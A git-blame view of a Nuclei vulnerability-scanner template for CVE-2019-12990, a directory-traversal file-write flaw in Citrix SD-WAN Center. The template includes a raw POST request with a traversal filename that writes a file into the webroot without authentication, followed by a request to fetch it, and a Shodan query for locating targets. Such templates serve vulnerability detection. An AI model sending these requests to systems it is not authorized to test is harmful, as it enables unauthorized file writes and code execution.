daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2019/CVE-2019-12990.yaml

56 lines
2.6 KiB
YAML
Raw Normal View History

Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
id: CVE-2019-12990
info:
Enhancement: cves/2019/CVE-2019-12990.yaml by md
2023-04-12 18:06:25 +00:00
name: Citrix SD-WAN Center - Local File Inclusion
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
author: gy741
severity: critical
description: |
Enhancement: cves/2019/CVE-2019-12990.yaml by md
2023-04-12 18:06:25 +00:00
Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
Added Impact
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
updated 2019 CVEs
2023-09-06 12:53:28 +00:00
remediation: |
Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
reference:
- https://www.tenable.com/security/research/tra-2019-31
Auto Generated CVE annotations [Fri Mar 31 07:11:11 UTC 2023] :robot:
2023-03-31 07:11:11 +00:00
- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
Enhancement: cves/2019/CVE-2019-12990.yaml by md
2023-04-12 18:06:25 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
TemplateMan Update [Wed Nov 8 06:56:05 UTC 2023] :robot:
2023-11-08 06:56:05 +00:00
- https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
classification:
Auto Generated CVE annotations [Fri Mar 31 07:11:11 UTC 2023] :robot:
2023-03-31 07:11:11 +00:00
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
cvss-score: 9.8
cve-id: CVE-2019-12990
cwe-id: CWE-22
Revert "TemplateMan Update [Mon Apr 8 11:30:07 UTC 2024] :robot:" This reverts commit 433dda4ae5b824564b44075bb95a96ecdbe263a6.
2024-04-08 11:34:33 +00:00
epss-score: 0.92152
epss-percentile: 0.98756
updated 2019 CVEs
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
metadata:
Added max request counter of each template
2023-04-28 08:11:21 +00:00
max-request: 3
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: citrix
product: netscaler_sd-wan
updated 2019 CVEs
2023-09-06 12:53:28 +00:00
shodan-query: http.title:"Citrix SD-WAN"
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
- raw:
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
- |
GET /login HTTP/1.1
Host: {{Hostname}}
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
- |
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
- |
Create CVE-2019-12990.yaml The applianceSettingsFileTransfer action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for filename, filedata, and workspace_id. This vulnerability can be exploited to write files to locations writable by the www-data user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-07-31 00:16:07 +00:00
GET /talari/app/files/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers:
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
- type: dsl
dsl:
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- contains(header, "text/html")
- status_code_3 == 200
- contains(body_1, "<title>Citrix SD-WAN</title>")
added additional matcher and shodan query
2023-03-29 06:24:45 +00:00
condition: and
Auto Template Signing [Tue Jan 30 06:46:18 UTC 2024] :robot:
2024-01-30 06:46:18 +00:00
# digest: 4a0a00473045022028d757c9021cfe91970444757763cf2003785713ea9f3602bd768bd83be0f8c3022100c9296bbe6b5d59548f4e8fba22c9ef4b44984f446ca9b44fec7de62e4bc23bea:922c64590222798bb761d5b6d8e72950